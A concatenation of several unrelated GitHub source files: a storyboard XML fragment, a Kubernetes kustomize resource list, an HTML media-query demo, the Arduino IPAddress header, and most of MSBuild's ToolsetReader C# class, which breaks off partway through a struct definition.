<constraint firstItem="lbP-eZ-6en" firstAttribute="trailing" secondItem="Rcc-Qm-yeD" secondAttribute="trailing" id="Q6K-HA-L4i"/>
<constraint firstItem="m7g-R1-Mep" firstAttribute="trailing" secondItem="WMt-Ze-9kX" secondAttribute="trailing" constant="30" id="Qhi-ty-FB9"/>
<constraint firstAttribute="bottom" secondItem="lbP-eZ-6en" secondAttribute="bottom" constant="14" id="bKq-hY-ffm"/>
<constraint firstItem="lbP-eZ-6en" firstAttribute="top" secondItem="Rcc-Qm-yeD" secondAttribute="bottom" constant="48" id="d84-En-94g"/>
<constraint firstItem="lbP-eZ-6en" firstAttribute="leading" secondItem="Rcc-Qm-yeD" secondAttribute="leading" id="dN0-JV-ncw"/>
<constraint firstItem="WMt-Ze-9kX" firstAttribute="top" secondItem="m7g-R1-Mep" secondAttribute="bottom" constant="32" id="eJq-lI-ZPW"/>
<constraint firstItem="m7g-R1-Mep" firstAttribute="top" secondItem="iN0-l3-epB" secondAttribute="top" constant="48" id="gJj-f0-LF5"/>
<constraint firstItem="WMt-Ze-9kX" firstAttribute="trailing" secondItem="Rcc-Qm-yeD" secondAttribute="trailing" constant="-30" id="lo9-XN-7wT"/>
<constraint firstItem="m7g-R1-Mep" firstAttribute="leading" secondItem="WMt-Ze-9kX" secondAttribute="leading" constant="-30" id="ria-yU-M9y"/>
</constraints>
<point key="canvasLocation" x="186" y="361"/>
</view>
</objects>
<resources>
<image name="Rocket.png" width="512" height="512"/>
</resources>
</document>
| {
"pile_set_name": "Github"
} |
resources:
- base/carts-db-dep.yaml
- base/carts-db-svc.yaml
- base/carts-dep.yaml
- base/catalogue-db-dep.yaml
- base/catalogue-db-svc.yaml
- base/catalogue-dep.yaml
- base/catalogue-svc.yaml
- base/front-end-dep.yaml
- base/front-end-svc.yaml
- base/orders-db-dep.yaml
- base/orders-db-svc.yaml
- base/orders-dep.yaml
- base/orders-svc.yaml
- base/payment-dep.yaml
- base/payment-svc.yaml
- base/queue-master-dep.yaml
- base/queue-master-svc.yaml
- base/rabbitmq-dep.yaml
- base/rabbitmq-svc.yaml
- base/session-db-dep.yaml
- base/session-db-svc.yaml
- base/shipping-dep.yaml
- base/shipping-svc.yaml
- base/user-db-dep.yaml
- base/user-db-svc.yaml
- base/user-dep.yaml
- base/user-svc.yaml | {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="main.css">
<link rel="stylesheet" href="mq-600-plus.css" media="screen and (min-width: 600px)">
<link rel="stylesheet" href="mq-900-plus.css" media="screen and (min-width: 900px)">
<link rel="stylesheet" href="mq-print.css" media="print">
</head>
<body>
<h1>we are hotpink at 0 - 599px</h1>
<h1>we are blue at 600px - 899px</h1>
<h1>we are red at 900px or MORE</h1>
<h2>I have a dashed border around me when printed</h2>
</body>
</html> | {
"pile_set_name": "Github"
} |
/*
IPAddress.h - Base class that provides IPAddress
Copyright (c) 2011 Adrian McEwen. All right reserved.
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef IPAddress_h
#define IPAddress_h
#include <stdint.h>
#include "Printable.h"
#include "WString.h"
// A class to make it easier to handle and pass around IP addresses
class IPAddress : public Printable {
private:
union {
uint8_t bytes[4]; // IPv4 address
uint32_t dword;
} _address;
// Access the raw byte array containing the address. Because this returns a pointer
// to the internal structure rather than a copy of the address this function should only
// be used when you know that the usage of the returned uint8_t* will be transient and not
// stored.
uint8_t* raw_address() { return _address.bytes; };
public:
// Constructors
IPAddress();
IPAddress(uint8_t first_octet, uint8_t second_octet, uint8_t third_octet, uint8_t fourth_octet);
IPAddress(uint32_t address);
IPAddress(const uint8_t *address);
bool fromString(const char *address);
bool fromString(const String &address) { return fromString(address.c_str()); }
// Overloaded cast operator to allow IPAddress objects to be used where a pointer
// to a four-byte uint8_t array is expected
operator uint32_t() const { return _address.dword; };
bool operator==(const IPAddress& addr) const { return _address.dword == addr._address.dword; };
bool operator==(const uint8_t* addr) const;
// Overloaded index operator to allow getting and setting individual octets of the address
uint8_t operator[](int index) const { return _address.bytes[index]; };
uint8_t& operator[](int index) { return _address.bytes[index]; };
// Overloaded copy operators to allow initialisation of IPAddress objects from other types
IPAddress& operator=(const uint8_t *address);
IPAddress& operator=(uint32_t address);
virtual size_t printTo(Print& p) const;
friend class EthernetClass;
friend class UDP;
friend class Client;
friend class Server;
friend class DhcpClass;
friend class DNSClient;
};
const IPAddress INADDR_NONE(0,0,0,0);
#endif
| {
"pile_set_name": "Github"
} |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.IO;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text.RegularExpressions;
using Microsoft.Build.Shared;
using Microsoft.Build.Collections;
using Microsoft.Build.Execution;
using Microsoft.Build.Internal;
using Microsoft.Build.Shared.FileSystem;
using error = Microsoft.Build.Shared.ErrorUtilities;
using InvalidProjectFileException = Microsoft.Build.Exceptions.InvalidProjectFileException;
using InvalidToolsetDefinitionException = Microsoft.Build.Exceptions.InvalidToolsetDefinitionException;
using ReservedPropertyNames = Microsoft.Build.Internal.ReservedPropertyNames;
namespace Microsoft.Build.Evaluation
{
/// <summary>
/// The abstract base class for all Toolset readers.
/// </summary>
internal abstract class ToolsetReader
{
/// <summary>
/// The global properties used to read the toolset.
/// </summary>
private PropertyDictionary<ProjectPropertyInstance> _globalProperties;
/// <summary>
/// The environment properties used to read the toolset.
/// </summary>
private readonly PropertyDictionary<ProjectPropertyInstance> _environmentProperties;
/// <summary>
/// Constructor
/// </summary>
protected ToolsetReader(
PropertyDictionary<ProjectPropertyInstance> environmentProperties,
PropertyDictionary<ProjectPropertyInstance> globalProperties)
{
_environmentProperties = environmentProperties;
_globalProperties = globalProperties;
}
/// <summary>
/// Returns the list of tools versions
/// </summary>
protected abstract IEnumerable<ToolsetPropertyDefinition> ToolsVersions
{
get;
}
/// <summary>
/// Returns the default tools version, or null if none was specified
/// </summary>
protected abstract string DefaultToolsVersion
{
get;
}
/// <summary>
/// Returns the path to find override tasks, or null if none was specified
/// </summary>
protected abstract string MSBuildOverrideTasksPath
{
get;
}
/// <summary>
/// ToolsVersion to use as the default ToolsVersion for this version of MSBuild
/// </summary>
protected abstract string DefaultOverrideToolsVersion
{
get;
}
#if FEATURE_WIN32_REGISTRY || FEATURE_SYSTEM_CONFIGURATION
/// <summary>
/// Gathers toolset data from the registry and configuration file, if any:
/// allows you to specify which of the registry and configuration file to
/// read from by providing ToolsetInitialization
/// </summary>
internal static string ReadAllToolsets(Dictionary<string, Toolset> toolsets, PropertyDictionary<ProjectPropertyInstance> environmentProperties, PropertyDictionary<ProjectPropertyInstance> globalProperties, ToolsetDefinitionLocations locations)
{
return ReadAllToolsets(toolsets,
#if FEATURE_WIN32_REGISTRY
null,
#endif
#if FEATURE_SYSTEM_CONFIGURATION
null,
#endif
environmentProperties, globalProperties, locations);
}
#endif
/// <summary>
/// Gathers toolset data from the registry and configuration file, if any.
/// NOTE: this method is internal for unit testing purposes only.
/// </summary>
internal static string ReadAllToolsets
(
Dictionary<string, Toolset> toolsets,
#if FEATURE_WIN32_REGISTRY
ToolsetRegistryReader registryReader,
#endif
#if FEATURE_SYSTEM_CONFIGURATION
ToolsetConfigurationReader configurationReader,
#endif
PropertyDictionary<ProjectPropertyInstance> environmentProperties,
PropertyDictionary<ProjectPropertyInstance> globalProperties,
ToolsetDefinitionLocations locations
)
{
var initialProperties =
new PropertyDictionary<ProjectPropertyInstance>(environmentProperties);
initialProperties.ImportProperties(globalProperties);
// The ordering here is important because the configuration file should have greater precedence
// than the registry, and we do a check and don't read in the new toolset if there's already one.
string defaultToolsVersionFromConfiguration = null;
string overrideTasksPathFromConfiguration = null;
string defaultOverrideToolsVersionFromConfiguration = null;
#if FEATURE_SYSTEM_CONFIGURATION
if ((locations & ToolsetDefinitionLocations.ConfigurationFile) == ToolsetDefinitionLocations.ConfigurationFile)
{
if (configurationReader == null)
{
configurationReader = new ToolsetConfigurationReader(environmentProperties, globalProperties);
}
// Accumulation of properties is okay in the config file because it's deterministically ordered
defaultToolsVersionFromConfiguration = configurationReader.ReadToolsets(toolsets, globalProperties,
initialProperties, true /* accumulate properties */, out overrideTasksPathFromConfiguration,
out defaultOverrideToolsVersionFromConfiguration);
}
#endif
string defaultToolsVersionFromRegistry = null;
string overrideTasksPathFromRegistry = null;
string defaultOverrideToolsVersionFromRegistry = null;
if ((locations & ToolsetDefinitionLocations.Registry) == ToolsetDefinitionLocations.Registry)
{
#if FEATURE_WIN32_REGISTRY
if (NativeMethodsShared.IsWindows || registryReader != null)
{
// If we haven't been provided a registry reader (i.e. unit tests), create one
registryReader ??= new ToolsetRegistryReader(environmentProperties, globalProperties);
// We do not accumulate properties when reading them from the registry, because the order
// in which values are returned to us is essentially random: so we disallow one property
// in the registry to refer to another also in the registry
defaultToolsVersionFromRegistry = registryReader.ReadToolsets(toolsets, globalProperties,
initialProperties, false /* do not accumulate properties */, out overrideTasksPathFromRegistry,
out defaultOverrideToolsVersionFromRegistry);
}
else
#endif
{
var currentDir = BuildEnvironmentHelper.Instance.CurrentMSBuildToolsDirectory.TrimEnd(Path.DirectorySeparatorChar);
var props = new PropertyDictionary<ProjectPropertyInstance>();
var libraryPath = NativeMethodsShared.FrameworkBasePath;
if (!string.IsNullOrEmpty(libraryPath))
{
// The 4.0 toolset is installed in the framework directory
var v4Dir =
FrameworkLocationHelper.GetPathToDotNetFrameworkV40(DotNetFrameworkArchitecture.Current);
if (v4Dir != null && !toolsets.ContainsKey("4.0"))
{
// Create standard properties. On Mono they are well known
var buildProperties =
CreateStandardProperties(globalProperties, "4.0", libraryPath, v4Dir);
toolsets.Add(
"4.0",
new Toolset(
"4.0",
v4Dir,
buildProperties,
environmentProperties,
globalProperties,
null,
currentDir,
string.Empty));
}
// Other toolsets are installed in the xbuild directory
var xbuildToolsetsDir = Path.Combine(libraryPath, $"xbuild{Path.DirectorySeparatorChar}");
if (FileSystems.Default.DirectoryExists(xbuildToolsetsDir))
{
var r = new Regex(Regex.Escape(xbuildToolsetsDir) + @"\d+\.\d+");
foreach (var d in Directory.GetDirectories(xbuildToolsetsDir).Where(d => r.IsMatch(d)))
{
var version = Path.GetFileName(d);
var binPath = Path.Combine(d, "bin");
if (toolsets.ContainsKey(version))
{
continue;
}
if (NativeMethodsShared.IsMono && Version.TryParse(version, out Version parsedVersion) && parsedVersion.Major > 14)
{
continue;
}
// Create standard properties. On Mono they are well known
var buildProperties =
CreateStandardProperties(globalProperties, version, xbuildToolsetsDir, binPath);
toolsets.Add(
version,
new Toolset(
version,
binPath,
buildProperties,
environmentProperties,
globalProperties,
null,
currentDir,
string.Empty));
}
}
}
if (!toolsets.ContainsKey(MSBuildConstants.CurrentToolsVersion))
{
toolsets.Add(
MSBuildConstants.CurrentToolsVersion,
new Toolset(
MSBuildConstants.CurrentToolsVersion,
currentDir,
props,
new PropertyDictionary<ProjectPropertyInstance>(),
currentDir,
string.Empty));
}
}
}
// The 2.0 .NET Framework installer did not write a ToolsVersion key for itself in the registry.
// The 3.5 installer writes one for 2.0, but 3.5 might not be installed.
// The 4.0 and subsequent installers can't keep writing the 2.0 one, because (a) it causes SxS issues and (b) we
// don't want it unless 2.0 is installed.
// So if the 2.0 framework is actually installed, we're reading the registry, and either the registry or the config
// file have not already created the 2.0 toolset, mock up a fake one.
if (((locations & ToolsetDefinitionLocations.Registry) != 0) && !toolsets.ContainsKey("2.0")
&& FrameworkLocationHelper.PathToDotNetFrameworkV20 != null)
{
var synthetic20Toolset = new Toolset(
"2.0",
FrameworkLocationHelper.PathToDotNetFrameworkV20,
environmentProperties,
globalProperties,
null /* 2.0 did not have override tasks */,
null /* 2.0 did not have a default override toolsversion */);
toolsets.Add("2.0", synthetic20Toolset);
}
string defaultToolsVersionFromLocal = null;
string overrideTasksPathFromLocal = null;
string defaultOverrideToolsVersionFromLocal = null;
if ((locations & ToolsetDefinitionLocations.Local) == ToolsetDefinitionLocations.Local)
{
var localReader = new ToolsetLocalReader(environmentProperties, globalProperties);
defaultToolsVersionFromLocal = localReader.ReadToolsets(
toolsets,
globalProperties,
initialProperties,
false /* accumulate properties */,
out overrideTasksPathFromLocal,
out defaultOverrideToolsVersionFromLocal);
}
// We'll use the path from the configuration file if it was specified, otherwise we'll try
// the one from the registry. It's possible (and valid) that neither the configuration file
// nor the registry specify a override in which case we'll just return null.
var overrideTasksPath = overrideTasksPathFromConfiguration ?? overrideTasksPathFromRegistry ?? overrideTasksPathFromLocal;
// We'll use the path from the configuration file if it was specified, otherwise we'll try
// the one from the registry. It's possible (and valid) that neither the configuration file
// nor the registry specify a override in which case we'll just return null.
var defaultOverrideToolsVersion = defaultOverrideToolsVersionFromConfiguration
?? defaultOverrideToolsVersionFromRegistry
?? defaultOverrideToolsVersionFromLocal;
// We'll use the default from the configuration file if it was specified, otherwise we'll try
// the one from the registry. It's possible (and valid) that neither the configuration file
// nor the registry specify a default, in which case we'll just return null.
var defaultToolsVersion = defaultToolsVersionFromConfiguration ?? defaultToolsVersionFromRegistry ?? defaultToolsVersionFromLocal;
// If we got a default version from the registry or config file, and it
// actually exists, fine.
// Otherwise we have to come up with one.
if (defaultToolsVersion != null && toolsets.ContainsKey(defaultToolsVersion))
{
return defaultToolsVersion;
}
// We're going to choose a hard coded default tools version of 2.0.
defaultToolsVersion = Constants.defaultToolsVersion;
// But don't overwrite any existing tools path for this default we're choosing.
if (toolsets.ContainsKey(Constants.defaultToolsVersion))
{
return defaultToolsVersion;
}
// There's no tools path already for 2.0, so use the path to the v2.0 .NET Framework.
// If an old-fashioned caller sets BinPath property, or passed a BinPath to the constructor,
// that will overwrite what we're setting here.
ErrorUtilities.VerifyThrow(
Constants.defaultToolsVersion == "2.0",
"Getting 2.0 FX path so default should be 2.0");
var pathToFramework = FrameworkLocationHelper.PathToDotNetFrameworkV20;
// We could not find the default toolsversion because it was not installed on the machine. Fallback to the
// one we expect to always be there when running msbuild 4.0.
if (pathToFramework == null)
{
pathToFramework = FrameworkLocationHelper.PathToDotNetFrameworkV40;
defaultToolsVersion = Constants.defaultFallbackToolsVersion;
}
// Again don't overwrite any existing tools path for this default we're choosing.
if (toolsets.ContainsKey(defaultToolsVersion))
{
return defaultToolsVersion;
}
var defaultToolset = new Toolset(
defaultToolsVersion,
pathToFramework,
environmentProperties,
globalProperties,
overrideTasksPath,
defaultOverrideToolsVersion);
toolsets.Add(defaultToolsVersion, defaultToolset);
return defaultToolsVersion;
}
/// <summary>
/// Populates the toolset collection passed in with the toolsets read from some location.
/// </summary>
/// <remarks>Internal for unit testing only</remarks>
/// <returns>the default tools version if available, or null otherwise</returns>
internal string ReadToolsets
(
Dictionary<string, Toolset> toolsets,
PropertyDictionary<ProjectPropertyInstance> globalProperties,
PropertyDictionary<ProjectPropertyInstance> initialProperties,
bool accumulateProperties,
out string msBuildOverrideTasksPath,
out string defaultOverrideToolsVersion
)
{
error.VerifyThrowArgumentNull(toolsets, "Toolsets");
ReadEachToolset(toolsets, globalProperties, initialProperties, accumulateProperties);
string defaultToolsVersion = DefaultToolsVersion;
msBuildOverrideTasksPath = MSBuildOverrideTasksPath;
defaultOverrideToolsVersion = DefaultOverrideToolsVersion;
// We don't check whether the default tools version actually
// corresponds to a toolset definition. That's because our default for
// the indefinite future is 2.0, and 2.0 might not be installed, which is fine.
// If a project tries to use 2.0 (or whatever the default is) in these circumstances
// they'll get a nice error saying that toolset isn't available and listing those that are.
return defaultToolsVersion;
}
/// <summary>
/// Provides an enumerator over property definitions for a specified tools version
/// </summary>
/// <param name="toolsVersion">The tools version.</param>
/// <returns>An enumeration of property definitions.</returns>
protected abstract IEnumerable<ToolsetPropertyDefinition> GetPropertyDefinitions(string toolsVersion);
/// <summary>
/// Provides an enumerator over the set of sub-toolset names available to a particular
/// toolsversion
/// </summary>
/// <param name="toolsVersion">The tools version.</param>
/// <returns>An enumeration of the sub-toolsets that belong to that toolsversion.</returns>
protected abstract IEnumerable<string> GetSubToolsetVersions(string toolsVersion);
/// <summary>
/// Provides an enumerator over property definitions for a specified sub-toolset version
/// under a specified toolset version.
/// </summary>
/// <param name="toolsVersion">The tools version.</param>
/// <param name="subToolsetVersion">The sub-toolset version.</param>
/// <returns>An enumeration of property definitions.</returns>
protected abstract IEnumerable<ToolsetPropertyDefinition> GetSubToolsetPropertyDefinitions(string toolsVersion, string subToolsetVersion);
/// <summary>
/// Returns a map of MSBuildExtensionsPath* property names/kind to list of search paths
/// </summary>
protected abstract Dictionary<string, ProjectImportPathMatch> GetProjectImportSearchPathsTable(string toolsVersion, string os);
/// <summary>
/// Reads all the toolsets and populates the given ToolsetCollection with them
/// </summary>
private void ReadEachToolset
(
Dictionary<string, Toolset> toolsets,
PropertyDictionary<ProjectPropertyInstance> globalProperties,
PropertyDictionary<ProjectPropertyInstance> initialProperties,
bool accumulateProperties
)
{
foreach (ToolsetPropertyDefinition toolsVersion in ToolsVersions)
{
// If there's already an existing toolset, it's of higher precedence, so
// don't even bother to read this toolset in.
if (!toolsets.ContainsKey(toolsVersion.Name))
{
// We clone here because we don't want to interfere with the evaluation
// of subsequent Toolsets; otherwise, properties found during the evaluation
// of this Toolset would be persisted in initialProperties and appear
// to later Toolsets as Global or Environment properties from the Engine.
PropertyDictionary<ProjectPropertyInstance> initialPropertiesClone = new PropertyDictionary<ProjectPropertyInstance>(initialProperties);
Toolset toolset = ReadToolset(toolsVersion, globalProperties, initialPropertiesClone, accumulateProperties);
if (toolset != null)
{
toolsets[toolset.ToolsVersion] = toolset;
}
}
}
}
/// <summary>
/// Reads the settings for a specified tools version
/// </summary>
private Toolset ReadToolset
(
ToolsetPropertyDefinition toolsVersion,
PropertyDictionary<ProjectPropertyInstance> globalProperties,
PropertyDictionary<ProjectPropertyInstance> initialProperties,
bool accumulateProperties
)
{
// Initial properties is the set of properties we're going to use to expand property expressions like $(foo)
// in the values we read out of the registry or config file. We'll add to it as we pick up properties (including binpath)
// from the registry or config file, so that properties there can be referenced in values below them.
// After processing all the properties, we don't need initialProperties anymore.
string toolsPath = null;
string binPath = null;
PropertyDictionary<ProjectPropertyInstance> properties = new PropertyDictionary<ProjectPropertyInstance>();
IEnumerable<ToolsetPropertyDefinition> rawProperties = GetPropertyDefinitions(toolsVersion.Name);
Expander<ProjectPropertyInstance, ProjectItemInstance> expander = new Expander<ProjectPropertyInstance, ProjectItemInstance>(initialProperties, FileSystems.Default);
foreach (ToolsetPropertyDefinition property in rawProperties)
{
EvaluateAndSetProperty(property, properties, globalProperties, initialProperties, accumulateProperties, ref toolsPath, ref binPath, ref expander);
}
Dictionary<string, SubToolset> subToolsets = new Dictionary<string, SubToolset>(StringComparer.OrdinalIgnoreCase);
IEnumerable<string> subToolsetVersions = GetSubToolsetVersions(toolsVersion.Name);
foreach (string subToolsetVersion in subToolsetVersions)
{
string subToolsetToolsPath = null;
string subToolsetBinPath = null;
IEnumerable<ToolsetPropertyDefinition> rawSubToolsetProperties = GetSubToolsetPropertyDefinitions(toolsVersion.Name, subToolsetVersion);
PropertyDictionary<ProjectPropertyInstance> subToolsetProperties = new PropertyDictionary<ProjectPropertyInstance>();
// If we have a sub-toolset, any values defined here will override the toolset properties.
foreach (ToolsetPropertyDefinition property in rawSubToolsetProperties)
{
EvaluateAndSetProperty(property, subToolsetProperties, globalProperties, initialProperties, false /* do not ever accumulate sub-toolset properties */, ref subToolsetToolsPath, ref subToolsetBinPath, ref expander);
}
if (subToolsetToolsPath != null || subToolsetBinPath != null)
{
InvalidToolsetDefinitionException.Throw("MSBuildToolsPathNotSupportedInSubToolsets", toolsVersion.Name, toolsVersion.Source.LocationString, subToolsetVersion);
}
subToolsets[subToolsetVersion] = new SubToolset(subToolsetVersion, subToolsetProperties);
}
// All tools versions must specify a value for MSBuildToolsPath (or MSBuildBinPath)
if (String.IsNullOrEmpty(toolsPath) && String.IsNullOrEmpty(binPath))
{
return null;
}
// If both MSBuildBinPath and MSBuildToolsPath are present, they must be the same
if (toolsPath != null && binPath != null && !toolsPath.Equals(binPath, StringComparison.OrdinalIgnoreCase))
{
InvalidToolsetDefinitionException.Throw("ConflictingValuesOfMSBuildToolsPath", toolsVersion.Name, toolsVersion.Source.LocationString);
}
AppendStandardProperties(properties, globalProperties, toolsVersion.Name, null, toolsPath);
Toolset toolset = null;
try
{
var importSearchPathsTable = GetProjectImportSearchPathsTable(toolsVersion.Name, NativeMethodsShared.GetOSNameForExtensionsPath());
toolset = new Toolset(toolsVersion.Name, toolsPath ?? binPath, properties, _environmentProperties, globalProperties, subToolsets, MSBuildOverrideTasksPath, DefaultOverrideToolsVersion, importSearchPathsTable);
}
catch (ArgumentException e)
{
InvalidToolsetDefinitionException.Throw("ErrorCreatingToolset", toolsVersion.Name, e.Message);
}
return toolset;
}
/// <summary>
/// Create a dictionary with standard properties.
/// </summary>
private static PropertyDictionary<ProjectPropertyInstance> CreateStandardProperties(
PropertyDictionary<ProjectPropertyInstance> globalProperties,
string version,
string root,
string toolsPath)
{
// Create standard properties. On Mono they are well known
if (!NativeMethodsShared.IsMono)
{
return null;
}
PropertyDictionary<ProjectPropertyInstance> buildProperties =
new PropertyDictionary<ProjectPropertyInstance>();
AppendStandardProperties(buildProperties, globalProperties, version, root, toolsPath);
return buildProperties;
}
/// <summary>
/// Appends standard properties to a dictionary. These properties are read from
/// the registry under Windows (they are a part of a toolset definition).
/// </summary>
private static void AppendStandardProperties(
PropertyDictionary<ProjectPropertyInstance> properties,
PropertyDictionary<ProjectPropertyInstance> globalProperties,
string version,
string root,
string toolsPath)
{
if (NativeMethodsShared.IsMono)
{
var v4Dir = FrameworkLocationHelper.GetPathToDotNetFrameworkV40(DotNetFrameworkArchitecture.Current)
+ Path.DirectorySeparatorChar;
var v35Dir = FrameworkLocationHelper.GetPathToDotNetFrameworkV35(DotNetFrameworkArchitecture.Current)
+ Path.DirectorySeparatorChar;
if (root == null)
{
var libraryPath = NativeMethodsShared.FrameworkBasePath;
if (toolsPath.StartsWith(libraryPath))
{
root = Path.GetDirectoryName(toolsPath);
if (toolsPath.EndsWith("bin"))
{
root = Path.GetDirectoryName(root);
}
}
else
{
root = libraryPath;
}
}
root += Path.DirectorySeparatorChar;
// Global properties cannot be overwritten
if (globalProperties["FrameworkSDKRoot"] == null && properties["FrameworkSDKRoot"] == null)
{
properties.Set(ProjectPropertyInstance.Create("FrameworkSDKRoot", root, true, false));
}
if (globalProperties["MSBuildToolsRoot"] == null && properties["MSBuildToolsRoot"] == null)
{
properties.Set(ProjectPropertyInstance.Create("MSBuildToolsRoot", root, true, false));
}
if (globalProperties["MSBuildFrameworkToolsPath"] == null
&& properties["MSBuildFrameworkToolsPath"] == null)
{
properties.Set(ProjectPropertyInstance.Create("MSBuildFrameworkToolsPath", toolsPath, true, false));
}
if (globalProperties["MSBuildFrameworkToolsPath32"] == null
&& properties["MSBuildFrameworkToolsPath32"] == null)
{
properties.Set(
ProjectPropertyInstance.Create("MSBuildFrameworkToolsPath32", toolsPath, true, false));
}
if (globalProperties["MSBuildRuntimeVersion"] == null && properties["MSBuildRuntimeVersion"] == null)
{
properties.Set(ProjectPropertyInstance.Create("MSBuildRuntimeVersion", version, true, false));
}
if (!string.IsNullOrEmpty(v35Dir) && globalProperties["SDK35ToolsPath"] == null
&& properties["SDK35ToolsPath"] == null)
{
properties.Set(ProjectPropertyInstance.Create("SDK35ToolsPath", v35Dir, true, false));
}
if (!string.IsNullOrEmpty(v4Dir) && globalProperties["SDK40ToolsPath"] == null
&& properties["SDK40ToolsPath"] == null)
{
properties.Set(ProjectPropertyInstance.Create("SDK40ToolsPath", v4Dir, true, false));
}
}
}
/// <summary>
/// Processes a particular ToolsetPropertyDefinition into the correct value and location in the initial and/or final property set.
/// </summary>
/// <param name="property">The ToolsetPropertyDefinition being analyzed.</param>
/// <param name="properties">The final set of properties that we wish this toolset property to be added to. </param>
/// <param name="globalProperties">The global properties, used for expansion and to make sure none are overridden.</param>
/// <param name="initialProperties">The initial properties, used for expansion and added to if "accumulateProperties" is true.</param>
/// <param name="accumulateProperties">If "true", we add this property to the initialProperties dictionary, as well, so that properties later in the toolset can use this value.</param>
/// <param name="toolsPath">If this toolset property is the "MSBuildToolsPath" property, we will return the value in this parameter.</param>
/// <param name="binPath">If this toolset property is the "MSBuildBinPath" property, we will return the value in this parameter.</param>
/// <param name="expander">The expander used to expand the value of the properties. Ref because if we are accumulating the properties, we need to re-create the expander to account for the new property value.</param>
private void EvaluateAndSetProperty(ToolsetPropertyDefinition property, PropertyDictionary<ProjectPropertyInstance> properties, PropertyDictionary<ProjectPropertyInstance> globalProperties, PropertyDictionary<ProjectPropertyInstance> initialProperties, bool accumulateProperties, ref string toolsPath, ref string binPath, ref Expander<ProjectPropertyInstance, ProjectItemInstance> expander)
{
if (String.Equals(property.Name, ReservedPropertyNames.toolsPath, StringComparison.OrdinalIgnoreCase))
{
toolsPath = ExpandPropertyUnescaped(property, expander);
toolsPath = ExpandRelativePathsRelativeToExeLocation(toolsPath);
if (accumulateProperties)
{
SetProperty
(
new ToolsetPropertyDefinition(ReservedPropertyNames.toolsPath, toolsPath, property.Source),
initialProperties,
globalProperties
);
}
}
else if (String.Equals(property.Name, ReservedPropertyNames.binPath, StringComparison.OrdinalIgnoreCase))
{
binPath = ExpandPropertyUnescaped(property, expander);
binPath = ExpandRelativePathsRelativeToExeLocation(binPath);
if (accumulateProperties)
{
SetProperty
(
new ToolsetPropertyDefinition(ReservedPropertyNames.binPath, binPath, property.Source),
initialProperties,
globalProperties
);
}
}
else if (ReservedPropertyNames.IsReservedProperty(property.Name))
{
// We don't allow toolsets to define reserved properties
string baseMessage = ResourceUtilities.FormatResourceStringStripCodeAndKeyword("CannotModifyReservedProperty", property.Name);
InvalidToolsetDefinitionException.Throw("InvalidPropertyNameInToolset", property.Name, property.Source.LocationString, baseMessage);
}
else
{
// It's an arbitrary property
property.Value = ExpandPropertyUnescaped(property, expander);
SetProperty(property, properties, globalProperties);
if (accumulateProperties)
{
SetProperty(property, initialProperties, globalProperties);
}
}
if (accumulateProperties)
{
expander = new Expander<ProjectPropertyInstance, ProjectItemInstance>(initialProperties, FileSystems.Default);
}
}
/// <summary>
/// Expands the given unexpanded property expression using the properties in the
/// given expander.
/// </summary>
private string ExpandPropertyUnescaped(ToolsetPropertyDefinition property, Expander<ProjectPropertyInstance, ProjectItemInstance> expander)
{
try
{
return expander.ExpandIntoStringAndUnescape(property.Value, ExpanderOptions.ExpandProperties, property.Source);
}
catch (InvalidProjectFileException ex)
{
InvalidToolsetDefinitionException.Throw(ex, "ErrorEvaluatingToolsetPropertyExpression", property.Value, property.Source.LocationString, ex.BaseMessage);
}
return string.Empty;
}
/// <summary>
/// Sets the given property in the given property group.
/// </summary>
private void SetProperty(ToolsetPropertyDefinition property, PropertyDictionary<ProjectPropertyInstance> propertyGroup, PropertyDictionary<ProjectPropertyInstance> globalProperties)
{
try
{
// Global properties cannot be overwritten
if (globalProperties[property.Name] == null)
{
propertyGroup.Set(ProjectPropertyInstance.Create(property.Name, EscapingUtilities.UnescapeAll(property.Value), true /* may be reserved */, false /* not immutable */));
}
}
catch (ArgumentException ex)
{
InvalidToolsetDefinitionException.Throw(ex, "InvalidPropertyNameInToolset", property.Name, property.Source.LocationString, ex.Message);
}
}
/// <summary>
/// Given a path, de-relativizes it using the location of the currently
/// executing .exe as the base directory. For example, the path "..\foo"
/// becomes "c:\windows\microsoft.net\framework\foo" if the current exe is
/// "c:\windows\microsoft.net\framework\v3.5.1234\msbuild.exe".
/// If the path is not relative, it is returned without modification.
/// If the path is invalid, it is returned without modification.
/// </summary>
private string ExpandRelativePathsRelativeToExeLocation(string path)
{
try
{
// Trim, because we don't want to do anything with empty values
// (those should cause an error)
string trimmedValue = path.Trim();
if (trimmedValue.Length > 0 && !Path.IsPathRooted(trimmedValue))
{
path = Path.GetFullPath(
Path.Combine(BuildEnvironmentHelper.Instance.CurrentMSBuildToolsDirectory, trimmedValue));
}
}
catch (Exception e) when (ExceptionHandling.IsIoRelatedException(e))
{
// This means that the path looked relative, but was an invalid path. In this case, we'll
// just not expand it, and carry on - to be consistent with what happens when there's a
// non-relative bin path with invalid characters. The problem will be detected later when
// it's used in a project file.
}
return path;
}
}
/// <summary>
/// struct representing a reference to MSBuildExtensionsPath* property
/// </summary>
internal struct MSBuildExtensionsPathReferenceKind
{
/// <summary>
/// MSBuildExtensionsPathReferenceKind instance for property named "MSBuildExtensionsPath"
/// </summary>
public static readonly MSBuildExtensionsPathReferenceKind Default = new MSBuildExtensionsPathReferenceKind("MSBuildExtensionsPath");
/// <summary>
/// MSBuildExtensionsPathReferenceKind instance for property named "MSBuildExtensionsPath32"
/// </summary>
public static readonly MSBuildExtensionsPathReferenceKind Path32 = new MSBuildExtensionsPathReferenceKind("MSBuildExtensionsPath32");
/// <summary>
/// MSBuildExtensionsPathReferenceKind instance for property named "MSBuildExtensionsPath64"
/// </summary>
public static readonly MSBuildExtensionsPathReferenceKind Path64 = new MSBuildExtensionsPathReferenceKind("MSBuildExtensionsPath64");
/// <summary>
